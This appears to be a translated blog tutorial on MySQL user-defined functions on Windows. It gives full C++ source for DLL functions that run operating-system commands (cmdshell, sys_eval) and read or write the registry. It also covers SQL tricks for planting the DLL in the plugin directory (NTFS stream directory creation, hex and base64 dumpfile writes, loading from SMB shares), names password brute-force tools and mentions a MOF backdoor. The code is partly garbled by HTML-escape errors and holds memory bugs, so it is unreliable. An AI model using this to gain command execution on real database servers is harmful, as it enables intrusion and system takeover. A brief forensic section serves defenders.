1. What is MySQL UDF
UDF is an interface provided by Mysql for users to implement their own functions. In order for the UDF mechanism to work, the function must be written in C or C++, and the operating system must support dynamic loading. This article mainly introduces methods of UDF development and utilization.
2. UDF development
Operating system: Windows 10
Test environment: PHPStudy + Mysql 5.5 (x64)
Compiler: VS2015
2.1 Compiler Method
- MySQL source code package
Download the source code package of the corresponding version from the MySQL official website, and download the source code of the corresponding version of MySQL back. Extract the include folder and lib folder to the C++ project path.
http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zip
-
VS2015 Configuration-Project Properties
Place MySQL’s include and lib folders after the C++ project path. The properties are configured as follows:
- include: VC++ directory->include directory->add include directory
- lib: VC++ directory->Library directory->Add lib directory
- libmysql.lib: Linker->Additional Dependencies->Add libmysql.lib
2.2 Debugging Method
UDF adds debugging OutputDebugStringA(); to the program code to output debugging information. By outputting corresponding debugging information in each branch, you can obtain the current running status.
OutputDebugStringA("--UDF:my_name() is called");
2.3 Use UDF extension
//Register function CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c + + .dll"; // unload function Drop function about; // use function select about(); // verify select * from mysql.func where name = 'cmdshell';
2.4 CPP source code ideas
- Execute CMDSHELL
How to use:
# Create cmdshell function CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c + + .dll"; # Execute the shell function. If no path is added, the default path is in the data directory of mysql. For example: "D:\phpStudy\MySQL\data\helllo.txt" select cmdshell("echo hello>>helllo.txt"); # Unregister the cmshell function Drop function cmdshell;
The CPP source code is as follows:
#include <winsock.h> #include <mysql.h> #ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> //--------cmdshell extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char*message) { //Parameter length unsigned int i = 0; if (args->arg_count == 1 & amp; & amp; args->arg_type[i] == STRING_RESULT) { //return to normal return 0; } else { strcpy( message , "Expected exactly one string type parameter" ); //Execution failed return 1; } } extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid, UDF_ARGS *args, char*result, char *error) { //Use the sysytem function to execute the command // Execute the "net user >> hello.txt" command, the actual path is D:\phpStudy\MySQL\data\hello.txt // Executing numbers such as: select cmdshell("1"); will cause MySQL to end the service. return system(args->args[0]); } extern "C" __declspec(dllexport)void cmdshell_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
- echo shell
Echoing shell writing attempts has the same principle as shell execution commands without echoing.
The core principle is to create a pipe, read the command result into the pipe and then close the pipe.
How to use:
# Create sys_eval function CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c + + .dll"; # Execute the shell function. If no path is added, the default path is in the data directory of mysql. For example: "D:\phpStudy\MySQL\data\helllo.txt" select sys_eval("echo hello>>helllo.txt"); # Unregister the cmshell function Drop function sys_eval;
The CPP source code is as follows:
#include <winsock.h> #include <mysql.h> #ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> //-------- extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char*message) { //Parameter length unsigned int i = 0; if (args->arg_count == 1 & amp; & amp; args->arg_type[i] == STRING_RESULT) { return 0; } else { strcpy( message , "Expected exactly one string type parameter" ); return 1; } } extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error) { FILE *pipe; char buff[1024]; unsigned long outlen, linelen; // Allocate memory result = (char*)malloc(sizeof(char)); outlen = 0; //Create pipe pipe = _popen(args->args[0], "r"); //Read pipe data while (fgets(buff, sizeof(buff), pipe) != NULL) { linelen = strlen(buff); result = (char*)realloc(result, outlen + linelen); //Copy the pipe content into the return result strncpy(result + outlen, buff, linelen); outlen = outlen + linelen; } // close the pipe _pclose(pipe); \t // When *is_null is set to 1, the return value is NULL if (!(*result) || result == NULL) { *is_null = 1; } else { result[outlen] = 0x00; *length = strlen(result); } //return results return result; } extern "C" __declspec(dllexport)void sys_eval_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
- Registry operations
The core code is mainly implemented by the following APIs related to registry operations:
RegQueryInfoKey RegEnumValue RegQueryValueEx RegCloseKey RegCreateKeyEx RegSetValueEx RegCloseKey
-
- Registry reading
How to use:
# Create regread function CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c + + .dll"; #Execute regread function select regread("HKEY_CURRENT_USER","Software\Microsoft\Internet Explorer\Main","Start Page"); # Unregister the regread function Drop function regread;
The CPP source code is as follows:
#include <winsock.h> #include <mysql.h> #include <stdio.h> #include <windows.h> #define MAX_KEY_LENGTH 255 #define MAX_VALUE_NAME 16383 //-------- extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args, char*message) { //Determine whether the parameters are correct. The three parameters must be strings. if (args->arg_type[0] == STRING_RESULT & amp; & amp; // Primary key args->arg_type[1] == STRING_RESULT & amp; & amp; // Key item args->arg_type[2] == STRING_RESULT // key value ) { return 0; } else { strcpy( message , "Expected exactly three string type parameters" ); return 1; } } extern "C" __declspec(dllexport)char* regread(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error) { HKEY hRoot; // Determine the root key if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0) hRoot = HKEY_LOCAL_MACHINE; else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0) hRoot = HKEY_CLASSES_ROOT; else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0) hRoot = HKEY_CURRENT_USER; else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0) hRoot = HKEY_USERS; else { initid->ptr = (char *)malloc(50 + strlen((args->args)[0])); sprintf(initid->ptr, "unknow:%s\r\ ", (args->args)[0]); *length = strlen(initid->ptr); return initialid->ptr; } \t // Determine whether the root key exists //Encoding conversion char to wchar int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0); wchar_t* m_wchar = new wchar_t[len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len); m_wchar[len] = '\0'; HKEY aTestKey = NULL; DWORD dwType = REG_SZ; if (RegOpenKeyEx(hRoot, m_wchar, 0, KEY_READ, & amp;aTestKey) != ERROR_SUCCESS ) { initid->ptr = (char *)malloc(50 + strlen((args->args)[1])); sprintf(initid->ptr, "unknow:%s\r\ ", (args->args)[1]); *length = strlen(initid->ptr); return initialid->ptr; } //Query key item TCHAR achClass[MAX_PATH] = TEXT(""); // Specify a string to load the class name of this registry key DWORD cchClassName = MAX_PATH; // Specify a variable to load the length of the lpClass buffer. Once returned, it is set to the number of bytes actually loaded into the buffer DWORD cSubKeys = 0; // Number of subkeys DWORD cbMaxSubKey; //Set the maximum subkey length DWORD cchMaxClass; // Specify a variable to load the length of the longest class name of the children of this item DWORD cValues; // A variable used to load the number of setting values for this item DWORD cchMaxValue; //The longest name of value DWORD cbMaxValueData; //The longest data of value DWORD cbSecurityDescriptor; //The size of the security descriptor FILETIME ftLastWriteTime; // Last write time DWORD i, retCode; DWORD dwSize; TCHAR *wStr = new TCHAR[MAX_VALUE_NAME]; TCHARachValue[MAX_VALUE_NAME]; TCHAR data[MAX_VALUE_NAME]; DWORD cchValue = MAX_VALUE_NAME; DWORD dBufSize; //return result length // Get the class name and the value count. retCode = RegQueryInfoKey( aTestKey, // primary key handle achClass, // Specify a string to load the class name of this registry key & amp;cchClassName, // Specify a variable to load the length of the lpClass buffer. Once returned, it is set to the number of bytes actually loaded into the buffer NULL, // reserved & amp;cSubKeys, // A variable used to load (save) the number of subkeys of this item & amp;cbMaxSubKey, // Specify a variable to load the length of the longest subitem of this item. Note that this length does not include the space terminating character. & amp;cchMaxClass, // Specify a variable to load the length of the longest class name of the children of this item & amp;cValues, // A variable used to load the number of setting values for this item & amp;cchMaxValue, // Specify a variable to load the length of the longest value name of this item's children & amp;cbMaxValueData, // Specify a variable to load the length of the buffer required to accommodate the longest value of this item. & amp;cbSecurityDescriptor, // Load a variable with the length of the security descriptor & amp;ftLastWriteTime); // Specify a structure to hold the last modification time of the item \t // Enum key value. //Match the corresponding value if(cValues) { for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i + + ) { cchValue = MAX_VALUE_NAME; dwSize = MAX_VALUE_NAME; achValue[0] = '\0'; data[0] = '\0'; retCode = RegEnumValue(aTestKey, i, wStr, &cchValue, NULL, NULL, NULL, NULL); RegQueryValueEx(aTestKey, wStr, NULL, &dwType, (LPBYTE)data, &dwSize); \t\t\t //Encoding conversion char to wchar int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0); wchar_t* m_wchar = new wchar_t[len + 1]; MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len); m_wchar[len] = '\0'; if (retCode == ERROR_SUCCESS & amp; & amp; wcscmp(wStr, m_wchar) == 0) { //printf("\ Key name: %ls\ Key value: %ls", wStr, data); \t\t\t\t //Get the target cache size required for conversion dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE); \t\t\t\t //Allocate target cache result = new char[dBufSize]; memset(result, 0, dBufSize); //Convert int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE); \t\t\t\t } } } delete[]wStr; RegCloseKey(aTestKey); // When *is_null is set to 1, the return value is NULL if (!(*result) || result == NULL) { *is_null = 1; } else { result[dBufSize] = 0x00; *length = strlen(result); } //return result return result; } extern "C" __declspec(dllexport)void regread_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
-
- Registry write
How to use:
- Registry write
# Create regread function CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c + + .dll"; #Execute regread function select regwrite("HKEY_CURRENT_USER","Software\Microsoft\Internet Explorer\Main","test","www.baidu.com"); # Unregister the regread function Drop function regwrite;
The CPP source code is as follows:
#include <winsock.h> #include <mysql.h> #include <stdio.h> #include <windows.h> //-------- extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid, UDF_ARGS *args, char*message) { //Determine whether the parameters are correct. The three parameters must be strings. if (args->arg_type[0] == STRING_RESULT & amp; & amp; // Primary key args->arg_type[1] == STRING_RESULT & amp; & amp; // Key item args->arg_type[2] == STRING_RESULT & amp; & amp; // key args->arg_type[3] == STRING_RESULT // Value written ) { return 0; } else { strcpy( message , "Expected exactly four string type parameters" ); return 1; } } extern "C" __declspec(dllexport)char* regwrite(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error) { \t HKEY hRoot; // Determine the root key if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0) hRoot = HKEY_LOCAL_MACHINE; else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0) hRoot = HKEY_CLASSES_ROOT; else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0) hRoot = HKEY_CURRENT_USER; else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0) hRoot = HKEY_USERS; else { initid->ptr = (char *)malloc(50 + strlen((args->args)[0])); sprintf(initid->ptr, "unknow:%s\r\ ", (args->args)[0]); *length = (unsigned long)strlen(initid->ptr); return initialid->ptr; } HKEY hKey; DWORD dwType = REG_SZ; //Open the registry key, create it if it does not exist // Determine whether the root key exists // szSubKey encoding conversion char to wchar int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0); wchar_t* szSubKey = new wchar_t[szSubKey_len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len); szSubKey[szSubKey_len] = '\0'; size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, & amp;hKey, NULL); if (lRet != ERROR_SUCCESS) { initid->ptr = (char *)malloc(50 + strlen((args->args)[1])); sprintf(initid->ptr, "unknow:%s\r\ ", (args->args)[1]); *length = (unsigned long)strlen(initid->ptr); return initialid->ptr; } // Modify the registry key value, create it if it does not exist //Conversion of key items modified by ValueName: char to wchar int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0); wchar_t* ValueName = new wchar_t[ValueName_len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len); ValueName[ValueName_len] = '\0'; Registry key value encoding conversion char to wchar int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0); wchar_t* data = new wchar_t[data_len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len); data[data_len] = '\0'; // Calculate the length of wide bytes DWORD iLen = (DWORD)wcslen(data); //Registry key value modification lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len); if (lRet != ERROR_SUCCESS) { initid->ptr = (char *)malloc(50 + strlen((args->args)[2])); sprintf(initid->ptr, "unknow:%s\r\ ", (args->args)[2]); *length = (unsigned long)strlen(initid->ptr); return initialid->ptr; } RegCloseKey(hKey); // When *is_null is set to 1, the return value is NULL if (!(*result) || result == NULL) { *is_null = 1; } else { sprintf(result, "success"); result[iLen] = 0x00; *length = strlen(result); } //return result return result; } extern "C" __declspec(dllexport)void regwrite_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
3. UDF loading method
There are two ways to load UDF. One is to modify the MySQL configuration file. The second is to place the UDF in the plug-in directory specified by MySQL for loading.
3.1 Modify MySQL configuration file
Another way is to write a new MySQL configuration file with the plugin directory and pass it to mysqld.
- Startup parameter configuration
//Change the directory location of the plugin through mysqld mysqld.exe –plugin-dir=C:\temp\plugins\ //Write a new mysql configuration file and pass it to mysqld through the --defaults-file parameter mysqld.exe --defaults-file=C:\temp\my.ini
- my.ini configuration
[mysqld] plugin_dir = C:\temp\plugins\
3.2 New plug-in directory
show variables like 'plugin_dir'; # View path select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION'; # Create a new directory lib select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION'; # Create a new directory plugin
3.3 Export UDF file to extension directory
-
load_file function
-
- The load_file function supports network paths, and if the DLL is copied to a network share, it can be loaded directly and written to disk.
select load_file('\192.168.0.19\share\udf.dll') into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";</ pre> <ul><li>Writes the entire DLL file to disk as a hex-encoded string.</li></ul> <pre>//Convert to hex function select hex(load_file('D:\udf.dll')) into dumpfile "D:\udf.hex"; // import select 0x4d5a...... into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";
- Create a table and insert binary data into the hex-encoded stream, where the binary data is connected using an update statement.
create table temp(data longblob); insert into temp(data) values (0x4d5a9....); update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b3 69f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486 060070b1834b00000000); select data from temp into dump file "D:\phpStudy\MySQL\lib\plugin\udf.dll";
- Load the file directly on disk from the network share into the table created by the third method, using the “load data infile” statement to load locally. Convert the file to hex as shown above and cancel editing while writing to disk.
load data infile '\192.168.0.19\share\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); select unhex(data) from temp into dumpfile 'D:\phpStudy\MySQL\lib\plugin\udf.dll';
- Upload binary files using the functions “to_base64” and “from_base64” introduced in MySQL 5.6.1 and MariaDB 10.0.5.
# Convert to base64 select to_base64(load_file('D:\udf.dll')); # base64 export as DLL select from_base64("Base64 encoding") into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";
4. Mysql weak password
4.1 Brute force cracking program
-
Tool: hydra
-
CPP
MYSQL, MSSQL and Oracle password brute force C program implemented using linked list
http://blog.51cto.com/foxhack/35604
- Python
https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py
https://www.waitalone.cn/python-mysql-mult.html
- Go
https://github.com/netxfly/x-crack
4.2 MySQL password encryption and decryption
5. WEB combination utilization
5.1 Backdoor Method
ExportMof
5.2 WEB penetration testing extension
php probe, PHPMyadmin
6. Forensic Analysis
//View system information select @@version_compile_os,@@version_compile_machine,@@plugin_dir; //View loaded functions select * from mysql.func;
7. Reference
Mysql function extension UDF development
https://blog.csdn.net/albertsh/article/details/78567661
VS2015 configures C/C++-MySQL development environment
https://blog.csdn.net/daso_csdn/article/details/54646859
MySQL UDF (custom function)
https://www.cnblogs.com/raker/p/4377343.html
Debugging method of MySQL UDF – debugviewhttps://blog.csdn.net/swotcoder/article/details/18527
Detailed explanation of MySQL UDF execution command
http://www.360doc.cn/article/31784658_733287732.html
A penetration test using MySQL UDF https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a
24.4.2.2 UDF Calling Sequences for Aggregate Functions
https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html
The failure experience of writing mysql UDF function under windows and the successful compilation experience under ubuntu
https://blog.csdn.net/watch_ch/article/details/54015948
Open source projects
https://github.com/mysqludf/lib_mysqludf_sys
8. Final renderings
The knowledge points of the article match the official knowledge files, and you can further learn related knowledge. MySQL entry skill treeSQL advanced skillsCTE and recursive query 70161 people are learning the system